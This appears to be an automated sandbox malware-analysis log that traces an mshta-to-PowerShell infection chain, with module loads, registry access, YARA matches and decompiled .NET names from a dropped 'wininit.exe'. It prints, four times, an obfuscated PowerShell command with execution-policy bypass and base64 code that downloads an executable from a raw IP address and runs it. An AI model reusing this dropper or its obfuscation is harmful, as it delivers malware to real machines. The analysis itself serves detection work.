Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: samlib.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wininit.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb04P source: powershell.exe, 00000003.00000002.1704971500.0000000007B57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1704660304.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $iq7C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.pdb source: powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 6.2.wininit.exe.6db0000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	.Net Code: gHQexYK344 System.Reflection.Assembly.Load(byte[])
Source: 6.2.wininit.exe.374d400.1.raw.unpack, KQkH3in3AYxtB1JkcI.cs	.Net Code: gHQexYK344 System.Reflection.Assembly.Load(byte[])

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"			Jump to behavior

Yara detected aPLib compressed binary

Source: Yara match	File source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 2668, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04BB0C7F push eax; retn 0070h	1_2_04BB0C8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04BB0C6F push eax; retn 0070h	1_2_04BB0C7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04BB0C62 push eax; retn 0070h	1_2_04BB0C6A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E516D2 push ss; retf	3_2_04E516D3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E55690 push eax; iretd	3_2_04E55699
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E510E8 push eax; retn 0070h	3_2_04E510F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E510F8 push eax; retn 0070h	3_2_04E51102
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E510D1 push eax; retn 0070h	3_2_04E510D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E510D8 push eax; retn 0070h	3_2_04E510E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E51081 push eax; retn 0070h	3_2_04E51082
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04E5108F push eax; retn 0070h	3_2_04E51092
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07D633B3 push FFFFFF8Bh; retf	3_2_07D633BC
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_06668A88 pushfd ; retf	6_2_06668A89
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 9_2_00402AC0 push eax; ret	9_2_00402AD4
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 9_2_00402AC0 push eax; ret	9_2_00402AFC

Source: caspol[1].exe.1.dr	Static PE information: section name: .text entropy: 7.9227520273220895
Source: wininit.exe.1.dr	Static PE information: section name: .text entropy: 7.9227520273220895

Source: 6.2.wininit.exe.6db0000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	High entropy of concatenated method names: 'gwb8vauN76', 'coJ8KZpJSC', 'fZs8T6XHIb', 'uqG8CFeqcY', 'Xrh8GBbB4F', 'F5A8QvMX8N', 'Mhg8iMMyDK', 'IwJ8nhpBnt', 'ppo8rHM5l3', 'zKB8VcEgFn'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, BDLA7ZzmjyZeMHspbI.cs	High entropy of concatenated method names: 'pYcc3qb4LP', 'iVMcFnRmTf', 'kjSch2OmFh', 'dPKcNtftA0', 'ep5cukejfW', 'DLtcmCOIuX', 'lWKctS9MXy', 'aH8c6uleZm', 'Py5cgNOThj', 'aoVcHMdwZP'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, dhK9KbNqZASI81hGMI.cs	High entropy of concatenated method names: 'sfGQv3qveH', 'Gk1QTJCxla', 'PF0QGPZ0c9', 'ecJQiiiaj1', 'k6KQn6iR71', 'XSqGYjTQNd', 'dr0GDj07xW', 'z70GSox8Zc', 'UUbGWZII6b', 'n2XGkeHKAq'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, eWbKPQURAh7q0dXmWQa.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'g6Ics1b5Q4', 'lHScanO8Hq', 'nGHc7Kj1b4', 'Nkvc4EEFTo', 'W1ncOKfXll', 'RBGc1YrhiV', 'W60cEbFZA3'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, blpmsJDcqDTfApNEE9.cs	High entropy of concatenated method names: 'sXHIWBvUB1', 'gM3IXliyxi', 'LAkjRqtjrT', 'irsjUBXqk4', 'suWIscc6eO', 'adBIa4DbBY', 'bhgI7Ap3yt', 'JJPI44IQ2E', 'x1FIOfmaQo', 'J1LI18bvGD'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, asC2VyhwMrPC2xZIhl.cs	High entropy of concatenated method names: 'ARKCb4vRER', 'PfqC3SbNpI', 'gFNCFAwu0h', 'N7QChL3WU5', 'egwCMgpiYw', 'gXBCZhOmb9', 'HiyCI68I54', 'NnfCj0kphm', 'uQfCdb2Dm9', 'VKQCcjYmRN'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, rXxk4UXv0hG6nJr2r4.cs	High entropy of concatenated method names: 'NY8cCHPCTo', 'v1YcGMuL0j', 'PlDcQ98GnS', 'gHrci7Rn0Y', 'LTtcdZa6tk', 'WgxcnQGGAx', 'Next', 'Next', 'Next', 'NextBytes'
